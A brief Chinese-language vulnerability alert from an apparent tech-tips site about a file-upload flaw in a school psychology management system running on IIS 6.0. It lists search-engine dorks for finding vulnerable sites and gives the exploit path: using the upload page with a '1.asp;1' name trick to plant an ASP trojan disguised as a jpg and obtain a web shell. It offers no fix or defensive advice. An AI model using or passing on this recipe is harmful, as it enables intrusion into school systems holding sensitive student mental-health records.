心海学校心理管理系统Xday漏洞预警 -电脑资料

    心海学校心理管理系统

    漏洞类型：上传漏洞（IIS解析漏洞）

    关键词 ：1.inurl:zytest/main.asp?id=

    2.心理 inurl:article/print.asp?id=

    漏洞描述：由于IIS6.0存在解析漏洞，所以本漏洞利用方式工作于windows 系统平台IIS6.0下的

    漏洞利用：inc/upload.asp?fl=1.asp;1  上传jpg格式的asp木马，得到shell upload/1.asp;1.jpg